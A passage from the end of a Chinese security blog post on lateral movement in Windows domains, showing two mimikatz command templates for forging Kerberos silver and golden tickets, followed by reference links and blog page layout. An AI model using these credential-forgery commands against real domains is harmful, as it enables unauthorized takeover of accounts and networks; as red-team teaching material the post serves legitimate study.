<h3 id="白银票据（Silver-Tickets）"><a href="#白银票据（Silver-Tickets）" class="headerlink" title="白银票据（Silver Tickets）"></a>白银票据（Silver Tickets）</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz &quot;kerberos::golden /domain:&amp;lt;域名&amp;gt; /sid:&amp;lt;域 SID&amp;gt; /target:&amp;lt;目标服务器主机名&amp;gt; /service:&amp;lt;服务类型&amp;gt; /rc4:&amp;lt;NTLMHash&amp;gt; /user:&amp;lt;用户名&amp;gt; /id:用户id /ptt&quot; exit</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/31.png" alt="image"></p>
<h3 id="黄金票据（Golden-Tickets）"><a href="#黄金票据（Golden-Tickets）" class="headerlink" title="黄金票据（Golden Tickets）"></a>黄金票据（Golden Tickets）</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz “kerberos::golden /domain:&amp;lt;域名&amp;gt; /sid:&amp;lt;域SID&amp;gt; /rc4:&amp;lt;KRBTGT NTLM Hash&amp;gt; /user:&amp;lt;任意用户名&amp;gt; /ptt&quot; exit</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/32.png" alt="image"></p>
<p>参考链接：</p>
<p><a href="https://blog.csdn.net/weixin_40803858/article/details/102929233" target="_blank" rel="noopener">https://blog.csdn.net/weixin_40803858/article/details/102929233</a></p>
<p><a href="https://blog.csdn.net/lhh134/article/details/104150949" target="_blank" rel="noopener">https://blog.csdn.net/lhh134/article/details/104150949</a></p>
<p><a href="https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/?nsukey=5UMTmKw38vtFw5YNEc8%2F9lwRUmKunW3%2F1c3gM05QryZVwqfhYCQGSf3naWICLL0djaYVdZoNESMvT4WZPLyBnzCGmmXZrvEDB6OVHXznfWlFE3azhKfpEXopYGo%2BfVvT09s%2BvBv5TW%2FYA%2F5hcZ0FElxPCalibcRmeZjt0TPNI0AK%2BkOSMO4L%2BmI7bzWMpb5BsgMCSiNxYo2SWn0yt%2BkgPg%3D%3D#remote-desktop-protocol" target="_blank" rel="noopener">https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/?nsukey=5UMTmKw38vtFw5YNEc8%2F9lwRUmKunW3%2F1c3gM05QryZVwqfhYCQGSf3naWICLL0djaYVdZoNESMvT4WZPLyBnzCGmmXZrvEDB6OVHXznfWlFE3azhKfpEXopYGo%2BfVvT09s%2BvBv5TW%2FYA%2F5hcZ0FElxPCalibcRmeZjt0TPNI0AK%2BkOSMO4L%2BmI7bzWMpb5BsgMCSiNxYo2SWn0yt%2BkgPg%3D%3D#remote-desktop-protocol</a></p>
<p><a href="https://threat.tevora.com/lateral-movement-whenhttps-threat-tevora-com-p-765ee696-b24a-4a53-aee6-6fd30ff342e8-powershell-is-locked-down/" target="_blank" rel="noopener">https://threat.tevora.com/lateral-movement-whenhttps-threat-tevora-com-p-765ee696-b24a-4a53-aee6-6fd30ff342e8-powershell-is-locked-down/</a></p>
<p><a href="https://www.cnblogs.com/gamewyd/p/6805595.html" target="_blank" rel="noopener">https://www.cnblogs.com/gamewyd/p/6805595.html</a></p>
<p><a href="https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/" target="_blank" rel="noopener">https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/</a></p>
<p><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" target="_blank" rel="noopener">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a></p>
<p><a href="https://www.youtube.com/watch?v=kjg1vfAQINA" target="_blank" rel="noopener">https://www.youtube.com/watch?v=kjg1vfAQINA</a></p>
<p><a href="https://gist.githubusercontent.com/001SPARTaN/d6fc9d72cc7baa5bcb64ac9d3234551d/raw/d93543b5b422d8e14745fbe1c3155c1f08ef9213/dcom_shellexecute.cna" target="_blank" rel="noopener">https://gist.githubusercontent.com/001SPARTaN/d6fc9d72cc7baa5bcb64ac9d3234551d/raw/d93543b5b422d8e14745fbe1c3155c1f08ef9213/dcom_shellexecute.cna</a></p>
<p><a href="https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2" target="_blank" rel="noopener">https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2</a></p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/LateralMovement/">LateralMovement(横向移动)</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2020年05月09日 - 10:05</p>
  <p><span>最后更新:</span>2020年05月09日 - 11:05</p>
  <p><span>原始链接:</span><a href="/LateralMovement/" title="LateralMovement(横向移动)">https://lengjibo.github.io/LateralMovement/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/LateralMovement/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/wmi/" rel="tag"><i class="fa fa-tag"></i> wmi</a>
          
            <a href="/tags/c/" rel="tag"><i class="fa fa-tag"></i> c#</a>
          
            <a href="/tags/LateralMovement/" rel="tag"><i class="fa fa-tag"></i> LateralMovement</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/zj2/" rel="next" title="关于最近">
                <i class="fa fa-chevron-left"></i> 关于最近
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/DLLinjection/" rel="prev" title="DLL injection">
                DLL injection <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#WMI"><span class="nav-number">1.</span> <span class="nav-text">WMI</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#简介"><span class="nav-number">1.1.</span> <span class="nav-text">简介</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#利用方法："><span class="nav-number">1.2.</span> <span class="nav-text">利用方法：</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#0x01-windows自带wmic工具横向移动"><span class="nav-number">1.2.1.</span> <span class="nav-text">0x01 windows自带wmic工具横向移动</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#0x02-wmiexec-vbs"><span class="nav-number">1.2.2.</span> <span class="nav-text">0x02 wmiexec.vbs</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#0x03-Invoke-TheHash-ps1"><span class="nav-number">1.2.3.</span> <span class="nav-text">0x03 Invoke-TheHash.ps1</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#0x04-kali自带pth工具集"><span class="nav-number">1.2.4.</span> <span class="nav-text">0x04 kali自带pth工具集</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#0x05-impacket套件"><span class="nav-number">1.2.5.</span> <span class="nav-text">0x05 impacket套件</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Remote-Service-Creation"><span class="nav-number">2.</span> <span class="nav-text">Remote Service Creation</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Remote-Desktop-Protocol"><span class="nav-number">3.</span> <span class="nav-text">Remote Desktop Protocol</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#RDP-hijacking"><span class="nav-number">3.1.</span> <span class="nav-text">RDP hijacking</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#PowerShell-Remoting"><span class="nav-number">4.</span> <span class="nav-text">PowerShell Remoting</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Task-Scheduler"><span class="nav-number">5.</span> <span class="nav-text">Task Scheduler</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#PsExec"><span class="nav-number">6.</span> <span class="nav-text">PsExec</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#DCOM"><span class="nav-number">7.</span> <span class="nav-text">DCOM</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#MMC20-APPLICATION-COM-OBJECT"><span class="nav-number">7.1.</span> <span class="nav-text">MMC20.APPLICATION COM OBJECT</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Excel-Application"><span class="nav-number">7.2.</span> <span class="nav-text">Excel.Application</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Password-Spray"><span class="nav-number">8.</span> <span class="nav-text">Password Spray</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#WinRM远程管理服务"><span class="nav-number">9.</span> <span class="nav-text">WinRM远程管理服务</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#winrs"><span class="nav-number">9.1.</span> <span class="nav-text">winrs</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Pass-the-Hash"><span class="nav-number">10.</span> <span class="nav-text">Pass-the-Hash</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#LocalAccountTokenFilterPolicy"><span class="nav-number">10.1.</span> <span class="nav-text">LocalAccountTokenFilterPolicy</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Pass-the-Ticket"><span class="nav-number">11.</span> <span class="nav-text">Pass-the-Ticket</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#白银票据（Silver-Tickets）"><span class="nav-number">11.1.</span> <span class="nav-text">白银票据（Silver Tickets）</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#黄金票据（Golden-Tickets）"><span class="nav-number">11.2.</span> <span class="nav-text">黄金票据（Golden Tickets）</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
